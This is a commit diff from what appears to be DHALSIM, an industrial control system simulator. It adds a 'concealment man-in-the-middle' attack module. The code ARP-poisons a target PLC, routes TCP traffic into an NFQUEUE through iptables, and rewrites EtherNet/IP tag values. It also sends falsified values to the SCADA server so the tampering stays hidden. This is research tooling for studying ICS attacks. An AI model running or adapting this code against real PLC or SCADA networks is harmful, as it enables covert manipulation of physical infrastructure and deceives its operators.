Skip to content

Commit edef302

Browse files
committed
Initial and rude version of concealment_mitm. Next should be changing the "value" parameter for a path parameter that reads a csv or equivalent in order to feed concealment data into SCADA
1 parent dedd6c0 commit edef302

File tree

7 files changed

+108
-53
lines changed

7 files changed

+108
-53
lines changed

dhalsim/network_attacks/concealment_mitm.py

Lines changed: 29 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,11 @@ class Error(Exception):
1414
"""Base class for exceptions in this module."""
1515

1616

17-
class ConcealmentAttack(SyncedAttack):
17+
class DirectionError(Error):
18+
"""Raised when the optional parameter direction does not have source or destination as value"""
19+
20+
21+
class ConcealmentMiTMAttack(SyncedAttack):
1822
"""
1923
todo
2024
@@ -29,6 +33,7 @@ def __init__(self, intermediate_yaml_path: Path, yaml_index: int):
2933
# Process object to handle nfqueue
3034
self.nfqueue_process = None
3135

36+
3237
def setup(self):
3338
"""
3439
This function start the network attack.
@@ -42,13 +47,7 @@ def setup(self):
4247
4348
Finally, it launches the thread that will examine all captured packets.
4449
"""
45-
46-
os.system(f'iptables -t mangle -A PREROUTING -p tcp --sport 44818 -s {self.target_plc_ip} -j NFQUEUE '
47-
f'--queue-num 1')
48-
49-
os.system('iptables -A FORWARD -p icmp -j DROP')
50-
os.system('iptables -A INPUT -p icmp -j DROP')
51-
os.system('iptables -A OUTPUT -p icmp -j DROP')
50+
self.modify_ip_tables(True)
5251

5352
# Launch the ARP poison by sending the required ARP network packets
5453
launch_arp_poison(self.target_plc_ip, self.intermediate_attack['gateway_ip'])
@@ -57,7 +56,7 @@ def setup(self):
5756
if plc['name'] != self.intermediate_plc['name']:
5857
launch_arp_poison(self.target_plc_ip, plc['local_ip'])
5958

60-
self.logger.debug(f"Naive MITM Attack ARP Poison between {self.target_plc_ip} and "
59+
self.logger.debug(f"Concealment MITM Attack ARP Poison between {self.target_plc_ip} and "
6160
f"{self.intermediate_attack['gateway_ip']}")
6261

6362
queue_number = 1
@@ -87,16 +86,10 @@ def teardown(self):
8786
if plc['name'] != self.intermediate_plc['name']:
8887
restore_arp(self.target_plc_ip, plc['local_ip'])
8988

90-
self.logger.debug(f"Naive MITM Attack ARP Restore between {self.target_plc_ip} and "
89+
self.logger.debug(f"MITM Attack ARP Restore between {self.target_plc_ip} and "
9190
f"{self.intermediate_attack['gateway_ip']}")
9291

93-
os.system(f'iptables -t mangle -D PREROUTING -p tcp --sport 44818 -s {self.target_plc_ip} -j NFQUEUE '
94-
f'--queue-num 1')
95-
96-
os.system('iptables -D FORWARD -p icmp -j DROP')
97-
os.system('iptables -D INPUT -p icmp -j DROP')
98-
os.system('iptables -D OUTPUT -p icmp -j DROP')
99-
92+
self.modify_ip_tables(False)
10093
self.logger.debug(f"Restored ARP")
10194

10295
self.logger.debug("Stopping nfqueue subprocess...")
@@ -112,6 +105,24 @@ def attack_step(self):
112105
pass
113106

114107

108+
@staticmethod
109+
def modify_ip_tables(append=True):
110+
111+
if append:
112+
os.system(f'iptables -t mangle -A PREROUTING -p tcp -j NFQUEUE --queue-num 1')
113+
114+
os.system('iptables -A FORWARD -p icmp -j DROP')
115+
os.system('iptables -A INPUT -p icmp -j DROP')
116+
os.system('iptables -A OUTPUT -p icmp -j DROP')
117+
else:
118+
119+
os.system(f'iptables -t mangle -D INPUT -p tcp -j NFQUEUE --queue-num 1')
120+
os.system(f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1')
121+
122+
os.system('iptables -D FORWARD -p icmp -j DROP')
123+
os.system('iptables -D INPUT -p icmp -j DROP')
124+
os.system('iptables -D OUTPUT -p icmp -j DROP')
125+
115126
def is_valid_file(parser_instance, arg):
116127
"""Verifies whether the intermediate yaml path is valid."""
117128
if not os.path.exists(arg):
@@ -131,7 +142,7 @@ def is_valid_file(parser_instance, arg):
131142

132143
args = parser.parse_args()
133144

134-
attack = ConcealmentAttack(
145+
attack = ConcealmentMiTMAttack(
135146
intermediate_yaml_path=Path(args.intermediate_yaml),
136147
yaml_index=args.index)
137148
attack.main_loop()

dhalsim/network_attacks/concealment_netfilter_queue.py

Lines changed: 62 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -10,41 +10,80 @@
1010

1111
from dhalsim.network_attacks.utilities import translate_payload_to_float, translate_float_to_payload
1212

13-
class ConcealmentNetfilterQueue(PacketQueue):
13+
14+
class ConcealmentMiTMNetfilterQueue(PacketQueue):
1415

1516
def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number: int ):
1617
super().__init__(intermediate_yaml_path, yaml_index, queue_number)
18+
self.attacked_tag = self.intermediate_attack['tag']
19+
self.scada_session_ids = []
20+
self.attack_session_ids = []
1721

18-
def capture(self, pkt):
22+
def capture(self, packet):
1923
"""
2024
This function is the function that will run in the thread started in the setup function.
2125
2226
For every packet that enters the netfilterqueue, it will check its length. If the length is
2327
in between 102, we are dealing with a CIP packet. We then change the payload of that
2428
packet and delete the original checksum.
25-
:param pkt: The captured packet.
29+
:param packet: The captured packet.
2630
"""
27-
self.logger.debug('capture method')
2831
try:
29-
p = IP(pkt.get_payload())
30-
#self.logger.debug('packet')
31-
if len(p) == 102:
32-
self.logger.debug('modifying')
33-
if 'value' in self.intermediate_attack.keys():
34-
p[Raw].load = translate_float_to_payload(
35-
self.intermediate_attack['value'], p[Raw].load)
36-
elif 'offset' in self.intermediate_attack.keys():
37-
p[Raw].load = translate_float_to_payload(
38-
translate_payload_to_float(p[Raw].load) + self.intermediate_attack[
39-
'offset'], p[Raw].load)
40-
41-
del p[TCP].chksum
42-
43-
pkt.set_payload(bytes(p))
44-
self.logger.debug(f"Value of network packet for {p[IP].dst} overwritten.")
45-
46-
pkt.accept()
32+
p = IP(packet.get_payload())
33+
if 'TCP' in p:
34+
if len(p) == 116:
35+
this_session = int.from_bytes(p[Raw].load[4:8], sys.byteorder)
36+
tag_name = p[Raw].load.decode(encoding='latin-1')[54:56]
37+
self.logger.debug('ENIP TCP Session ID: ' + str(this_session))
38+
self.logger.debug('Received tag is: ' + tag_name)
39+
self.logger.debug('Attack tag is: ' + self.attacked_tag)
40+
if self.attacked_tag == tag_name:
41+
# This is a packet being sent to SCADA server, conceal the manipulation
42+
self.logger.debug('Packet source: ' + p[IP].src )
43+
self.logger.debug('SCADA IP: ' + self.intermediate_yaml['scada']['public_ip'])
44+
if p[IP].src == self.intermediate_yaml['scada']['public_ip']:
45+
self.logger.debug('SCADA session: ' + str(this_session))
46+
self.scada_session_ids.append(this_session)
47+
else:
48+
self.logger.debug('PLC session: ' + str(this_session))
49+
self.attack_session_ids.append(this_session)
50+
51+
if len(p) == 102:
52+
this_session = int.from_bytes(p[Raw].load[4:8], sys.byteorder)
53+
if this_session in self.attack_session_ids:
54+
self.logger.debug('Modifying because session is: ' + str(this_session))
55+
value = translate_payload_to_float(p[Raw].load)
56+
self.logger.debug('tag value is:' + str(value))
57+
58+
if 'value' in self.intermediate_attack.keys():
59+
p[Raw].load = translate_float_to_payload(
60+
self.intermediate_attack['value'], p[Raw].load)
61+
elif 'offset' in self.intermediate_attack.keys():
62+
p[Raw].load = translate_float_to_payload(
63+
translate_payload_to_float(p[Raw].load) + self.intermediate_attack[
64+
'offset'], p[Raw].load)
65+
66+
del p[IP].chksum
67+
del p[TCP].chksum
68+
69+
packet.set_payload(bytes(p))
70+
self.logger.debug(f"Value of network packet for {p[IP].dst} overwritten.")
71+
72+
73+
elif this_session in self.scada_session_ids:
74+
self.logger.debug('Concealing to SCADA: ' + str(this_session))
75+
p[Raw].load = translate_float_to_payload(
76+
self.intermediate_attack['concealment_value'], p[Raw].load)
77+
78+
del p[IP].chksum
79+
del p[TCP].chksum
80+
81+
packet.set_payload(bytes(p))
82+
self.logger.debug(f"Value of network packet for {p[IP].dst} overwritten.")
83+
84+
packet.accept()
4785
except Exception as exc:
86+
print(exc)
4887
if self.nfqueue:
4988
self.nfqueue.unbind()
5089
sys.exit(0)
@@ -70,7 +109,7 @@ def is_valid_file(parser_instance, arg):
70109

71110
args = parser.parse_args()
72111

73-
attack = NaiveNetfilterQueue(
112+
attack = ConcealmentMiTMNetfilterQueue(
74113
intermediate_yaml_path=Path(args.intermediate_yaml),
75114
yaml_index=args.index,
76115
queue_number = args.number)

dhalsim/network_attacks/mitm_netfilter_queue.py

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,6 @@
1010

1111
from dhalsim.network_attacks.utilities import translate_payload_to_float, translate_float_to_payload
1212

13-
import struct
1413

1514
class MiTMNetfilterQueue(PacketQueue):
1615

dhalsim/parser/config_parser.py

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -228,15 +228,19 @@ class SchemaParser:
228228
error="Length of name must be between 1 and 20, '{}' has invalid length")
229229
),
230230
'trigger': trigger,
231+
'target': And(
232+
str,
233+
string_pattern
234+
),
231235
'tag': And(
232236
str,
233237
string_pattern,
234238
),
235-
Or('value', 'offset', only_one=True,
236-
error="'tags' should have either a 'value' or 'offset' attribute."): Or(float, And(int, Use(float))),
237-
'target': And(
238-
str,
239-
string_pattern
239+
'value': And(
240+
Or(float, And(int, Use(float)))
241+
),
242+
'concealment_value': And(
243+
Or(float, And(int, Use(float)))
240244
)
241245
},
242246
{

examples/ctown_topology/ctown_concealment_mitm.yaml

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,9 @@ network_attacks:
33
type: concealment_mitm
44
tag: T3
55
target: PLC4
6-
value: 7.0
6+
value: 42.0
7+
concealment_value: 84
78
trigger:
8-
start: 20
9-
end: 100
9+
start: 5
10+
end: 15
1011
type: time
Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
inp_file: ctown_map.inp
2-
iterations: 2880
2+
iterations: 20
33
network_topology_type: complex
44
plcs: !include ctown_plcs.yaml
55

66
log_level: debug
77
simulator: epynet
88
demand: pdd
9-
attacks: !include ctown_mitm.yaml
9+
attacks: !include ctown_concealment_mitm.yaml

requirements.txt

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,3 @@
11
pyyaml
2-
mininet
2+
mininet
3+
scapy

0 commit comments

Comments
 (0)